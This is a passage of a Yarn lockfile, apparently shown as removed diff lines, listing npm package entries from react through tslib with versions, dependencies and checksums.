- dependencies: - cookie: "npm:^1.0.1" - set-cookie-parser: "npm:^2.6.0" - peerDependencies: - react: ">=18" - react-dom: ">=18" - peerDependenciesMeta: - react-dom: - optional: true - checksum: 10c0/397cb009bc83d071269c8f9323bbfe1f856721fde75e39b29fe0ddfe7564ebdc3b8bbb85768321cae92ec28b406e8fac7eab7e232d0738b3b1c092e2764e4307 - languageName: node - linkType: hard - -"react-transition-group@npm:^4.4.5": - version: 4.4.5 - resolution: "react-transition-group@npm:4.4.5" - dependencies: - "@babel/runtime": "npm:^7.5.5" - dom-helpers: "npm:^5.0.1" - loose-envify: "npm:^1.4.0" - prop-types: "npm:^15.6.2" - peerDependencies: - react: ">=16.6.0" - react-dom: ">=16.6.0" - checksum: 10c0/2ba754ba748faefa15f87c96dfa700d5525054a0141de8c75763aae6734af0740e77e11261a1e8f4ffc08fd9ab78510122e05c21c2d79066c38bb6861a886c82 - languageName: node - linkType: hard - -"react@npm:19.2.4": - version: 19.2.4 - resolution: "react@npm:19.2.4" - checksum: 10c0/cd2c9ff67a720799cc3b38a516009986f7fc4cb8d3e15716c6211cf098d1357ee3e348ab05ad0600042bbb0fd888530ba92e329198c92eafa0994f5213396596 - languageName: node - linkType: hard - -"recrawl-sync@npm:^2.0.3": - version: 2.2.3 - resolution: "recrawl-sync@npm:2.2.3" - dependencies: - "@cush/relative": "npm:^1.0.0" - glob-regex: "npm:^0.3.0" - slash: "npm:^3.0.0" - sucrase: "npm:^3.20.3" - tslib: "npm:^1.9.3" - checksum: 10c0/3129ce44a97b2d8f2f18c4bc13d9faccd90dda7bff82c498d14c6e3720eb3249d8cb21576ca41c0a236cfe9b81e02a3e84b160256f359669450a8a628bd2df73 - languageName: node - linkType: hard - -"reflect.getprototypeof@npm:^1.0.6, reflect.getprototypeof@npm:^1.0.9": - version: 1.0.10 - resolution: "reflect.getprototypeof@npm:1.0.10" - dependencies: - call-bind: "npm:^1.0.8" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.9" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.0.0" - get-intrinsic: "npm:^1.2.7" - get-proto: "npm:^1.0.1" - which-builtin-type: "npm:^1.2.1" - checksum: 10c0/7facec28c8008876f8ab98e80b7b9cb4b1e9224353fd4756dda5f2a4ab0d30fa0a5074777c6df24e1e0af463a2697513b0a11e548d99cf52f21f7bc6ba48d3ac - languageName: node - linkType: hard - -"regexp.prototype.flags@npm:^1.5.3, regexp.prototype.flags@npm:^1.5.4": - version: 1.5.4 - resolution: "regexp.prototype.flags@npm:1.5.4" - dependencies: - call-bind: "npm:^1.0.8" - define-properties: "npm:^1.2.1" - es-errors: "npm:^1.3.0" - get-proto: "npm:^1.0.1" - gopd: "npm:^1.2.0" - set-function-name: "npm:^2.0.2" - checksum: 10c0/83b88e6115b4af1c537f8dabf5c3744032cb875d63bc05c288b1b8c0ef37cbe55353f95d8ca817e8843806e3e150b118bc624e4279b24b4776b4198232735a77 - languageName: node - linkType: hard - -"reselect@npm:^5.1.1": - version: 5.1.1 - resolution: "reselect@npm:5.1.1" - checksum: 10c0/219c30da122980f61853db3aebd173524a2accd4b3baec770e3d51941426c87648a125ca08d8c57daa6b8b086f2fdd2703cb035dd6231db98cdbe1176a71f489 - languageName: node - linkType: hard - -"resolve-from@npm:^4.0.0": - version: 4.0.0 - resolution: "resolve-from@npm:4.0.0" - checksum: 10c0/8408eec31a3112ef96e3746c37be7d64020cda07c03a920f5024e77290a218ea758b26ca9529fd7b1ad283947f34b2291c1c0f6aa0ed34acfdda9c6014c8d190 - languageName: node - linkType: hard - -"resolve@npm:^1.19.0": - version: 1.22.11 - resolution: "resolve@npm:1.22.11" - dependencies: - is-core-module: "npm:^2.16.1" - path-parse: "npm:^1.0.7" - supports-preserve-symlinks-flag: "npm:^1.0.0" - bin: - resolve: bin/resolve - checksum: 10c0/f657191507530f2cbecb5815b1ee99b20741ea6ee02a59c57028e9ec4c2c8d7681afcc35febbd554ac0ded459db6f2d8153382c53a2f266cee2575e512674409 - languageName: node - linkType: hard - -"resolve@npm:^2.0.0-next.5": - version: 2.0.0-next.6 - resolution: "resolve@npm:2.0.0-next.6" - dependencies: - es-errors: "npm:^1.3.0" - is-core-module: "npm:^2.16.1" - node-exports-info: "npm:^1.6.0" - object-keys: "npm:^1.1.1" - path-parse: "npm:^1.0.7" - supports-preserve-symlinks-flag: "npm:^1.0.0" - bin: - resolve: bin/resolve - checksum: 10c0/4e44cb84aa9a3c7c82d4a98e8111879671150496160a53ca6cdbed6101bf239f19105f8b8b84e40c0b76d46b0d9626813510b19a80e01f4ae18692e9d0b47749 - languageName: node - linkType: hard - -"resolve@patch:resolve@npm%3A^1.19.0#optional!builtin<compat/resolve>": - version: 1.22.11 - resolution: "resolve@patch:resolve@npm%3A1.22.11#optional!builtin<compat/resolve>::version=1.22.11&hash=c3c19d" - dependencies: - is-core-module: "npm:^2.16.1" - path-parse: "npm:^1.0.7" - supports-preserve-symlinks-flag: "npm:^1.0.0" - bin: - resolve: bin/resolve - checksum: 10c0/ee5b182f2e37cb1165465e58c6abc797fec0a80b5ba3231607beb4677db0c9291ac010c47cf092b6daa2b7f518d69a0e21888e7e2b633f68d501a874212a8c63 - languageName: node - linkType: hard - -"resolve@patch:resolve@npm%3A^2.0.0-next.5#optional!builtin<compat/resolve>": - version: 2.0.0-next.6 - resolution: "resolve@patch:resolve@npm%3A2.0.0-next.6#optional!builtin<compat/resolve>::version=2.0.0-next.6&hash=c3c19d" - dependencies: - es-errors: "npm:^1.3.0" - is-core-module: "npm:^2.16.1" - node-exports-info: "npm:^1.6.0" - object-keys: "npm:^1.1.1" - path-parse: "npm:^1.0.7" - supports-preserve-symlinks-flag: "npm:^1.0.0" - bin: - resolve: bin/resolve - checksum: 10c0/dca533e38820b0d8d636f269824cef3b7435802ab7401211c6f10af03be0e2f7e216047234e1623046c0a6791577079767e0c04f0d36e42c7f567b1bff7b0742 - languageName: node - linkType: hard - -"retry@npm:^0.12.0": - version: 0.12.0 - resolution: "retry@npm:0.12.0" - checksum: 10c0/59933e8501727ba13ad73ef4a04d5280b3717fd650408460c987392efe9d7be2040778ed8ebe933c5cbd63da3dcc37919c141ef8af0a54a6e4fca5a2af177bfe - languageName: node - linkType: hard - -"rollup@npm:^4.43.0": - version: 4.59.0 - resolution: "rollup@npm:4.59.0" - dependencies: - "@rollup/rollup-android-arm-eabi": "npm:4.59.0" - "@rollup/rollup-android-arm64": "npm:4.59.0" - "@rollup/rollup-darwin-arm64": "npm:4.59.0" - "@rollup/rollup-darwin-x64": "npm:4.59.0" - "@rollup/rollup-freebsd-arm64": "npm:4.59.0" - "@rollup/rollup-freebsd-x64": "npm:4.59.0" - "@rollup/rollup-linux-arm-gnueabihf": "npm:4.59.0" - "@rollup/rollup-linux-arm-musleabihf": "npm:4.59.0" - "@rollup/rollup-linux-arm64-gnu": "npm:4.59.0" - "@rollup/rollup-linux-arm64-musl": "npm:4.59.0" - "@rollup/rollup-linux-loong64-gnu": "npm:4.59.0" - "@rollup/rollup-linux-loong64-musl": "npm:4.59.0" - "@rollup/rollup-linux-ppc64-gnu": "npm:4.59.0" - "@rollup/rollup-linux-ppc64-musl": "npm:4.59.0" - "@rollup/rollup-linux-riscv64-gnu": "npm:4.59.0" - "@rollup/rollup-linux-riscv64-musl": "npm:4.59.0" - "@rollup/rollup-linux-s390x-gnu": "npm:4.59.0" - "@rollup/rollup-linux-x64-gnu": "npm:4.59.0" - "@rollup/rollup-linux-x64-musl": "npm:4.59.0" - "@rollup/rollup-openbsd-x64": "npm:4.59.0" - "@rollup/rollup-openharmony-arm64": "npm:4.59.0" - "@rollup/rollup-win32-arm64-msvc": "npm:4.59.0" - "@rollup/rollup-win32-ia32-msvc": "npm:4.59.0" - "@rollup/rollup-win32-x64-gnu": "npm:4.59.0" - "@rollup/rollup-win32-x64-msvc": "npm:4.59.0" - "@types/estree": "npm:1.0.8" - fsevents: "npm:~2.3.2" - dependenciesMeta: - "@rollup/rollup-android-arm-eabi": - optional: true - "@rollup/rollup-android-arm64": - optional: true - "@rollup/rollup-darwin-arm64": - optional: true - "@rollup/rollup-darwin-x64": - optional: true - "@rollup/rollup-freebsd-arm64": - optional: true - "@rollup/rollup-freebsd-x64": - optional: true - "@rollup/rollup-linux-arm-gnueabihf": - optional: true - "@rollup/rollup-linux-arm-musleabihf": - optional: true - "@rollup/rollup-linux-arm64-gnu": - optional: true - "@rollup/rollup-linux-arm64-musl": - optional: true - "@rollup/rollup-linux-loong64-gnu": - optional: true - "@rollup/rollup-linux-loong64-musl": - optional: true - "@rollup/rollup-linux-ppc64-gnu": - optional: true - "@rollup/rollup-linux-ppc64-musl": - optional: true - "@rollup/rollup-linux-riscv64-gnu": - optional: true - "@rollup/rollup-linux-riscv64-musl": - optional: true - "@rollup/rollup-linux-s390x-gnu": - optional: true - "@rollup/rollup-linux-x64-gnu": - optional: true - "@rollup/rollup-linux-x64-musl": - optional: true - "@rollup/rollup-openbsd-x64": - optional: true - "@rollup/rollup-openharmony-arm64": - optional: true - "@rollup/rollup-win32-arm64-msvc": - optional: true - "@rollup/rollup-win32-ia32-msvc": - optional: true - "@rollup/rollup-win32-x64-gnu": - optional: true - "@rollup/rollup-win32-x64-msvc": - optional: true - fsevents: - optional: true - bin: - rollup: dist/bin/rollup - checksum: 10c0/f38742da34cfee5e899302615fa157aa77cb6a2a1495e5e3ce4cc9c540d3262e235bbe60caa31562bbfe492b01fdb3e7a8c43c39d842d3293bcf843123b766fc - languageName: node - linkType: hard - -"safe-array-concat@npm:^1.1.3": - version: 1.1.3 - resolution: "safe-array-concat@npm:1.1.3" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.2" - get-intrinsic: "npm:^1.2.6" - has-symbols: "npm:^1.1.0" - isarray: "npm:^2.0.5" - checksum: 10c0/43c86ffdddc461fb17ff8a17c5324f392f4868f3c7dd2c6a5d9f5971713bc5fd755667212c80eab9567595f9a7509cc2f83e590ddaebd1bd19b780f9c79f9a8d - languageName: node - linkType: hard - -"safe-push-apply@npm:^1.0.0": - version: 1.0.0 - resolution: "safe-push-apply@npm:1.0.0" - dependencies: - es-errors: "npm:^1.3.0" - isarray: "npm:^2.0.5" - checksum: 10c0/831f1c9aae7436429e7862c7e46f847dfe490afac20d0ee61bae06108dbf5c745a0de3568ada30ccdd3eeb0864ca8331b2eef703abd69bfea0745b21fd320750 - languageName: node - linkType: hard - -"safe-regex-test@npm:^1.0.3, safe-regex-test@npm:^1.1.0": - version: 1.1.0 - resolution: "safe-regex-test@npm:1.1.0" - dependencies: - call-bound: "npm:^1.0.2" - es-errors: "npm:^1.3.0" - is-regex: "npm:^1.2.1" - checksum: 10c0/f2c25281bbe5d39cddbbce7f86fca5ea9b3ce3354ea6cd7c81c31b006a5a9fff4286acc5450a3b9122c56c33eba69c56b9131ad751457b2b4a585825e6a10665 - languageName: node - linkType: hard - -"safer-buffer@npm:>= 2.1.2 < 3.0.0": - version: 2.1.2 - resolution: "safer-buffer@npm:2.1.2" - checksum: 10c0/7e3c8b2e88a1841c9671094bbaeebd94448111dd90a81a1f606f3f67708a6ec57763b3b47f06da09fc6054193e0e6709e77325415dc8422b04497a8070fa02d4 - languageName: node - linkType: hard - -"scheduler@npm:^0.27.0": - version: 0.27.0 - resolution: "scheduler@npm:0.27.0" - checksum: 10c0/4f03048cb05a3c8fddc45813052251eca00688f413a3cee236d984a161da28db28ba71bd11e7a3dd02f7af84ab28d39fb311431d3b3772fed557945beb00c452 - languageName: node - linkType: hard - -"semver@npm:^6.3.1": - version: 6.3.1 - resolution: "semver@npm:6.3.1" - bin: - semver: bin/semver.js - checksum: 10c0/e3d79b609071caa78bcb6ce2ad81c7966a46a7431d9d58b8800cfa9cb6a63699b3899a0e4bcce36167a284578212d9ae6942b6929ba4aa5015c079a67751d42d - languageName: node - linkType: hard - -"semver@npm:^7.3.5": - version: 7.7.4 - resolution: "semver@npm:7.7.4" - bin: - semver: bin/semver.js - checksum: 10c0/5215ad0234e2845d4ea5bb9d836d42b03499546ddafb12075566899fc617f68794bb6f146076b6881d755de17d6c6cc73372555879ec7dce2c2feee947866ad2 - languageName: node - linkType: hard - -"set-cookie-parser@npm:^2.6.0": - version: 2.7.2 - resolution: "set-cookie-parser@npm:2.7.2" - checksum: 10c0/4381a9eb7ee951dfe393fe7aacf76b9a3b4e93a684d2162ab35594fa4053cc82a4d7d7582bf397718012c9adcf839b8cd8f57c6c42901ea9effe33c752da4a45 - languageName: node - linkType: hard - -"set-function-length@npm:^1.2.2": - version: 1.2.2 - resolution: "set-function-length@npm:1.2.2" - dependencies: - define-data-property: "npm:^1.1.4" - es-errors: "npm:^1.3.0" - function-bind: "npm:^1.1.2" - get-intrinsic: "npm:^1.2.4" - gopd: "npm:^1.0.1" - has-property-descriptors: "npm:^1.0.2" - checksum: 10c0/82850e62f412a258b71e123d4ed3873fa9377c216809551192bb6769329340176f109c2eeae8c22a8d386c76739855f78e8716515c818bcaef384b51110f0f3c - languageName: node - linkType: hard - -"set-function-name@npm:^2.0.2": - version: 2.0.2 - resolution: "set-function-name@npm:2.0.2" - dependencies: - define-data-property: "npm:^1.1.4" - es-errors: "npm:^1.3.0" - functions-have-names: "npm:^1.2.3" - has-property-descriptors: "npm:^1.0.2" - checksum: 10c0/fce59f90696c450a8523e754abb305e2b8c73586452619c2bad5f7bf38c7b6b4651895c9db895679c5bef9554339cf3ef1c329b66ece3eda7255785fbe299316 - languageName: node - linkType: hard - -"set-proto@npm:^1.0.0": - version: 1.0.0 - resolution: "set-proto@npm:1.0.0" - dependencies: - dunder-proto: "npm:^1.0.1" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/ca5c3ccbba479d07c30460e367e66337cec825560b11e8ba9c5ebe13a2a0d6021ae34eddf94ff3dfe17a3104dc1f191519cb6c48378b503e5c3f36393938776a - languageName: node - linkType: hard - -"shebang-command@npm:^2.0.0": - version: 2.0.0 - resolution: "shebang-command@npm:2.0.0" - dependencies: - shebang-regex: "npm:^3.0.0" - checksum: 10c0/a41692e7d89a553ef21d324a5cceb5f686d1f3c040759c50aab69688634688c5c327f26f3ecf7001ebfd78c01f3c7c0a11a7c8bfd0a8bc9f6240d4f40b224e4e - languageName: node - linkType: hard - -"shebang-regex@npm:^3.0.0": - version: 3.0.0 - resolution: "shebang-regex@npm:3.0.0" - checksum: 10c0/1dbed0726dd0e1152a92696c76c7f06084eb32a90f0528d11acd764043aacf76994b2fb30aa1291a21bd019d6699164d048286309a278855ee7bec06cf6fb690 - languageName: node - linkType: hard - -"side-channel-list@npm:^1.0.0": - version: 1.0.0 - resolution: "side-channel-list@npm:1.0.0" - dependencies: - es-errors: "npm:^1.3.0" - object-inspect: "npm:^1.13.3" - checksum: 10c0/644f4ac893456c9490ff388bf78aea9d333d5e5bfc64cfb84be8f04bf31ddc111a8d4b83b85d7e7e8a7b845bc185a9ad02c052d20e086983cf59f0be517d9b3d - languageName: node - linkType: hard - -"side-channel-map@npm:^1.0.1": - version: 1.0.1 - resolution: "side-channel-map@npm:1.0.1" - dependencies: - call-bound: "npm:^1.0.2" - es-errors: "npm:^1.3.0" - get-intrinsic: "npm:^1.2.5" - object-inspect: "npm:^1.13.3" - checksum: 10c0/010584e6444dd8a20b85bc926d934424bd809e1a3af941cace229f7fdcb751aada0fb7164f60c2e22292b7fa3c0ff0bce237081fd4cdbc80de1dc68e95430672 - languageName: node - linkType: hard - -"side-channel-weakmap@npm:^1.0.2": - version: 1.0.2 - resolution: "side-channel-weakmap@npm:1.0.2" - dependencies: - call-bound: "npm:^1.0.2" - es-errors: "npm:^1.3.0" - get-intrinsic: "npm:^1.2.5" - object-inspect: "npm:^1.13.3" - side-channel-map: "npm:^1.0.1" - checksum: 10c0/71362709ac233e08807ccd980101c3e2d7efe849edc51455030327b059f6c4d292c237f94dc0685031dd11c07dd17a68afde235d6cf2102d949567f98ab58185 - languageName: node - linkType: hard - -"side-channel@npm:^1.1.0": - version: 1.1.0 - resolution: "side-channel@npm:1.1.0" - dependencies: - es-errors: "npm:^1.3.0" - object-inspect: "npm:^1.13.3" - side-channel-list: "npm:^1.0.0" - side-channel-map: "npm:^1.0.1" - side-channel-weakmap: "npm:^1.0.2" - checksum: 10c0/cb20dad41eb032e6c24c0982e1e5a24963a28aa6122b4f05b3f3d6bf8ae7fd5474ef382c8f54a6a3ab86e0cac4d41a23bd64ede3970e5bfb50326ba02a7996e6 - languageName: node - linkType: hard - -"simplebar-core@npm:^1.3.2": - version: 1.3.2 - resolution: "simplebar-core@npm:1.3.2" - dependencies: - lodash: "npm:^4.17.21" - lodash-es: "npm:^4.17.21" - checksum: 10c0/a4844edac50099b30abb60e85f0852ebbcbfbe47e4b67e682f57f21449b08d06a3ac2432db7db5a6bcf571c3ce74d2a418da22f467909587ab295a33b6b551e3 - languageName: node - linkType: hard - -"simplebar-react@npm:3.3.2": - version: 3.3.2 - resolution: "simplebar-react@npm:3.3.2" - dependencies: - simplebar-core: "npm:^1.3.2" - peerDependencies: - react: ">=16.8.0" - checksum: 10c0/1ccc2fbfef3659c6ebd6ee9eaa9cffa3c5179e5cf825351335928673ff5f715042f71e05fa3f5813ab1b6fe947536a52050667e149023975c2dcf4287d705292 - languageName: node - linkType: hard - -"slash@npm:^3.0.0": - version: 3.0.0 - resolution: "slash@npm:3.0.0" - checksum: 10c0/e18488c6a42bdfd4ac5be85b2ced3ccd0224773baae6ad42cfbb9ec74fc07f9fa8396bd35ee638084ead7a2a0818eb5e7151111544d4731ce843019dab4be47b - languageName: node - linkType: hard - -"smart-buffer@npm:^4.2.0": - version: 4.2.0 - resolution: "smart-buffer@npm:4.2.0" - checksum: 10c0/a16775323e1404dd43fabafe7460be13a471e021637bc7889468eb45ce6a6b207261f454e4e530a19500cc962c4cc5348583520843b363f4193cee5c00e1e539 - languageName: node - linkType: hard - -"socks-proxy-agent@npm:^8.0.3": - version: 8.0.5 - resolution: "socks-proxy-agent@npm:8.0.5" - dependencies: - agent-base: "npm:^7.1.2" - debug: "npm:^4.3.4" - socks: "npm:^2.8.3" - checksum: 10c0/5d2c6cecba6821389aabf18728325730504bf9bb1d9e342e7987a5d13badd7a98838cc9a55b8ed3cb866ad37cc23e1086f09c4d72d93105ce9dfe76330e9d2a6 - languageName: node - linkType: hard - -"socks@npm:^2.8.3": - version: 2.8.7 - resolution: "socks@npm:2.8.7" - dependencies: - ip-address: "npm:^10.0.1" - smart-buffer: "npm:^4.2.0" - checksum: 10c0/2805a43a1c4bcf9ebf6e018268d87b32b32b06fbbc1f9282573583acc155860dc361500f89c73bfbb157caa1b4ac78059eac0ef15d1811eb0ca75e0bdadbc9d2 - languageName: node - linkType: hard - -"source-map-js@npm:^1.2.1": - version: 1.2.1 - resolution: "source-map-js@npm:1.2.1" - checksum: 10c0/7bda1fc4c197e3c6ff17de1b8b2c20e60af81b63a52cb32ec5a5d67a20a7d42651e2cb34ebe93833c5a2a084377e17455854fee3e21e7925c64a51b6a52b0faf - languageName: node - linkType: hard - -"source-map@npm:^0.5.7": - version: 0.5.7 - resolution: "source-map@npm:0.5.7" - checksum: 10c0/904e767bb9c494929be013017380cbba013637da1b28e5943b566031e29df04fba57edf3f093e0914be094648b577372bd8ad247fa98cfba9c600794cd16b599 - languageName: node - linkType: hard - -"ssri@npm:^13.0.0": - version: 13.0.1 - resolution: "ssri@npm:13.0.1" - dependencies: - minipass: "npm:^7.0.3" - checksum: 10c0/cf6408a18676c57ff2ed06b8a20dc64bb3e748e5c7e095332e6aecaa2b8422b1e94a739a8453bf65156a8a47afe23757ba4ab52d3ea3b62322dc40875763e17a - languageName: node - linkType: hard - -"stop-iteration-iterator@npm:^1.1.0": - version: 1.1.0 - resolution: "stop-iteration-iterator@npm:1.1.0" - dependencies: - es-errors: "npm:^1.3.0" - internal-slot: "npm:^1.1.0" - checksum: 10c0/de4e45706bb4c0354a4b1122a2b8cc45a639e86206807ce0baf390ee9218d3ef181923fa4d2b67443367c491aa255c5fbaa64bb74648e3c5b48299928af86c09 - languageName: node - linkType: hard - -"string.prototype.includes@npm:^2.0.1": - version: 2.0.1 - resolution: "string.prototype.includes@npm:2.0.1" - dependencies: - call-bind: "npm:^1.0.7" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.3" - checksum: 10c0/25ce9c9b49128352a2618fbe8758b46f945817a58a4420f4799419e40a8d28f116e176c7590d767d5327a61e75c8f32c86171063f48e389b9fdd325f1bd04ee5 - languageName: node - linkType: hard - -"string.prototype.matchall@npm:^4.0.12": - version: 4.0.12 - resolution: "string.prototype.matchall@npm:4.0.12" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.3" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.6" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.0.0" - get-intrinsic: "npm:^1.2.6" - gopd: "npm:^1.2.0" - has-symbols: "npm:^1.1.0" - internal-slot: "npm:^1.1.0" - regexp.prototype.flags: "npm:^1.5.3" - set-function-name: "npm:^2.0.2" - side-channel: "npm:^1.1.0" - checksum: 10c0/1a53328ada73f4a77f1fdf1c79414700cf718d0a8ef6672af5603e709d26a24f2181208144aed7e858b1bcc1a0d08567a570abfb45567db4ae47637ed2c2f85c - languageName: node - linkType: hard - -"string.prototype.repeat@npm:^1.0.0": - version: 1.0.0 - resolution: "string.prototype.repeat@npm:1.0.0" - dependencies: - define-properties: "npm:^1.1.3" - es-abstract: "npm:^1.17.5" - checksum: 10c0/94c7978566cffa1327d470fd924366438af9b04b497c43a9805e476e2e908aa37a1fd34cc0911156c17556dab62159d12c7b92b3cc304c3e1281fe4c8e668f40 - languageName: node - linkType: hard - -"string.prototype.trim@npm:^1.2.10": - version: 1.2.10 - resolution: "string.prototype.trim@npm:1.2.10" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.2" - define-data-property: "npm:^1.1.4" - define-properties: "npm:^1.2.1" - es-abstract: "npm:^1.23.5" - es-object-atoms: "npm:^1.0.0" - has-property-descriptors: "npm:^1.0.2" - checksum: 10c0/8a8854241c4b54a948e992eb7dd6b8b3a97185112deb0037a134f5ba57541d8248dd610c966311887b6c2fd1181a3877bffb14d873ce937a344535dabcc648f8 - languageName: node - linkType: hard - -"string.prototype.trimend@npm:^1.0.9": - version: 1.0.9 - resolution: "string.prototype.trimend@npm:1.0.9" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.2" - define-properties: "npm:^1.2.1" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/59e1a70bf9414cb4c536a6e31bef5553c8ceb0cf44d8b4d0ed65c9653358d1c64dd0ec203b100df83d0413bbcde38b8c5d49e14bc4b86737d74adc593a0d35b6 - languageName: node - linkType: hard - -"string.prototype.trimstart@npm:^1.0.8": - version: 1.0.8 - resolution: "string.prototype.trimstart@npm:1.0.8" - dependencies: - call-bind: "npm:^1.0.7" - define-properties: "npm:^1.2.1" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/d53af1899959e53c83b64a5fd120be93e067da740e7e75acb433849aa640782fb6c7d4cd5b84c954c84413745a3764df135a8afeb22908b86a835290788d8366 - languageName: node - linkType: hard - -"strip-bom@npm:^3.0.0": - version: 3.0.0 - resolution: "strip-bom@npm:3.0.0" - checksum: 10c0/51201f50e021ef16672593d7434ca239441b7b760e905d9f33df6e4f3954ff54ec0e0a06f100d028af0982d6f25c35cd5cda2ce34eaebccd0250b8befb90d8f1 - languageName: node - linkType: hard - -"strip-json-comments@npm:^3.1.1": - version: 3.1.1 - resolution: "strip-json-comments@npm:3.1.1" - checksum: 10c0/9681a6257b925a7fa0f285851c0e613cc934a50661fa7bb41ca9cbbff89686bb4a0ee366e6ecedc4daafd01e83eee0720111ab294366fe7c185e935475ebcecd - languageName: node - linkType: hard - -"stylis@npm:4.2.0": - version: 4.2.0 - resolution: "stylis@npm:4.2.0" - checksum: 10c0/a7128ad5a8ed72652c6eba46bed4f416521bc9745a460ef5741edc725252cebf36ee45e33a8615a7057403c93df0866ab9ee955960792db210bb80abd5ac6543 - languageName: node - linkType: hard - -"sucrase@npm:^3.20.3": - version: 3.35.1 - resolution: "sucrase@npm:3.35.1" - dependencies: - "@jridgewell/gen-mapping": "npm:^0.3.2" - commander: "npm:^4.0.0" - lines-and-columns: "npm:^1.1.6" - mz: "npm:^2.7.0" - pirates: "npm:^4.0.1" - tinyglobby: "npm:^0.2.11" - ts-interface-checker: "npm:^0.1.9" - bin: - sucrase: bin/sucrase - sucrase-node: bin/sucrase-node - checksum: 10c0/6fa22329c261371feb9560630d961ad0d0b9c87dce21ea74557c5f3ffbe5c1ee970ea8bcce9962ae9c90c3c47165ffa7dd41865c7414f5d8ea7a40755d612c5c - languageName: node - linkType: hard - -"supports-preserve-symlinks-flag@npm:^1.0.0": - version: 1.0.0 - resolution: "supports-preserve-symlinks-flag@npm:1.0.0" - checksum: 10c0/6c4032340701a9950865f7ae8ef38578d8d7053f5e10518076e6554a9381fa91bd9c6850193695c141f32b21f979c985db07265a758867bac95de05f7d8aeb39 - languageName: node - linkType: hard - -"swr@npm:2.4.0": - version: 2.4.0 - resolution: "swr@npm:2.4.0" - dependencies: - dequal: "npm:^2.0.3" - use-sync-external-store: "npm:^1.6.0" - peerDependencies: - react: ^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - checksum: 10c0/176097e737ac79c94ab9ff73f18f3eed104a07cb32ec2f92f8e6deaa7ce2c8227dda8391eed116a7e29b7c379460ccd2f16605bd64ea538df1c610ba54bc52e7 - languageName: node - linkType: hard - -"synckit@npm:^0.11.12": - version: 0.11.12 - resolution: "synckit@npm:0.11.12" - dependencies: - "@pkgr/core": "npm:^0.2.9" - checksum: 10c0/cc4d446806688ae0d728ae7bb3f53176d065cf9536647fb85bdd721dcefbd7bf94874df6799ff61580f2b03a392659219b778a9254ad499f9a1f56c34787c235 - languageName: node - linkType: hard - -"tar@npm:^7.5.4": - version: 7.5.9 - resolution: "tar@npm:7.5.9" - dependencies: - "@isaacs/fs-minipass": "npm:^4.0.0" - chownr: "npm:^3.0.0" - minipass: "npm:^7.1.2" - minizlib: "npm:^3.1.0" - yallist: "npm:^5.0.0" - checksum: 10c0/e870beb1b2477135ca2abe86b2d18f7b35d0a4e3a37bbc523d3b8f7adca268dfab543f26528a431d569897f8c53a7cac745cdfbc4411c2f89aeeacc652b81b0a - languageName: node - linkType: hard - -"thenify-all@npm:^1.0.0": - version: 1.6.0 - resolution: "thenify-all@npm:1.6.0" - dependencies: - thenify: "npm:>= 3.1.0 < 4" - checksum: 10c0/9b896a22735e8122754fe70f1d65f7ee691c1d70b1f116fda04fea103d0f9b356e3676cb789506e3909ae0486a79a476e4914b0f92472c2e093d206aed4b7d6b - languageName: node - linkType: hard - -"thenify@npm:>= 3.1.0 < 4": - version: 3.3.1 - resolution: "thenify@npm:3.3.1" - dependencies: - any-promise: "npm:^1.0.0" - checksum: 10c0/f375aeb2b05c100a456a30bc3ed07ef03a39cbdefe02e0403fb714b8c7e57eeaad1a2f5c4ecfb9ce554ce3db9c2b024eba144843cd9e344566d9fcee73b04767 - languageName: node - linkType: hard - -"tiny-case@npm:^1.0.3": - version: 1.0.3 - resolution: "tiny-case@npm:1.0.3" - checksum: 10c0/c0cbed35884a322265e2cd61ff435168d1ea523f88bf3864ce14a238ae9169e732649776964283a66e4eb882e655992081d4daf8c865042e2233425866111b35 - languageName: node - linkType: hard - -"tiny-warning@npm:^1.0.2": - version: 1.0.3 - resolution: "tiny-warning@npm:1.0.3" - checksum: 10c0/ef8531f581b30342f29670cb41ca248001c6fd7975ce22122bd59b8d62b4fc84ad4207ee7faa95cde982fa3357cd8f4be650142abc22805538c3b1392d7084fa - languageName: node - linkType: hard - -"tinyglobby@npm:^0.2.11, tinyglobby@npm:^0.2.12, tinyglobby@npm:^0.2.15": - version: 0.2.15 - resolution: "tinyglobby@npm:0.2.15" - dependencies: - fdir: "npm:^6.5.0" - picomatch: "npm:^4.0.3" - checksum: 10c0/869c31490d0d88eedb8305d178d4c75e7463e820df5a9b9d388291daf93e8b1eb5de1dad1c1e139767e4269fe75f3b10d5009b2cc14db96ff98986920a186844 - languageName: node - linkType: hard - -"toposort@npm:^2.0.2": - version: 2.0.2 - resolution: "toposort@npm:2.0.2" - checksum: 10c0/ab9ca91fce4b972ccae9e2f539d755bf799a0c7eb60da07fd985fce0f14c159ed1e92305ff55697693b5bc13e300f5417db90e2593b127d421c9f6c440950222 - languageName: node - linkType: hard - -"ts-interface-checker@npm:^0.1.9": - version: 0.1.13 - resolution: "ts-interface-checker@npm:0.1.13" - checksum: 10c0/232509f1b84192d07b81d1e9b9677088e590ac1303436da1e92b296e9be8e31ea042e3e1fd3d29b1742ad2c959e95afe30f63117b8f1bc3a3850070a5142fea7 - languageName: node - linkType: hard - -"tsconfig-paths@npm:^3.9.0": - version: 3.15.0 - resolution: "tsconfig-paths@npm:3.15.0" - dependencies: - "@types/json5": "npm:^0.0.29" - json5: "npm:^1.0.2" - minimist: "npm:^1.2.6" - strip-bom: "npm:^3.0.0" - checksum: 10c0/5b4f301a2b7a3766a986baf8fc0e177eb80bdba6e396792ff92dc23b5bca8bb279fc96517dcaaef63a3b49bebc6c4c833653ec58155780bc906bdbcf7dda0ef5 - languageName: node - linkType: hard - -"tslib@npm:^1.9.3": - version: 1.14.1 - resolution: "tslib@npm:1.14.1" - checksum: 10c0/69ae09c49eea644bc5ebe1bca4fa4cc2c82b7b3e02f43b84bd891504edf66dbc6b2ec0eef31a957042de2269139e4acff911e6d186a258fb14069cd7f6febce2 - languageName: node 